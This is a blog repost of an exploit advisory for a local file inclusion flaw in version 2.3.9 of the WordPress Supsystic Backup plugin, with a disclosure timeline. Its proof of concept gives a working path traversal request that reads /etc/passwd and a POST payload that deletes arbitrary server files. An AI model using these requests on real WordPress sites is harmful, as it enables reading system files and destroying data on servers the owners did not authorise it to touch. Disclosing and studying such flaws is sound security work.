Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375537

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
# Version: 2.3.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply.
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).


# 2. Proof of Concept (PoC)

Create a backup. When downloading the backup, change its path:

GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd


The "Delete" tab also allows an attacker to delete files on the server:

POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup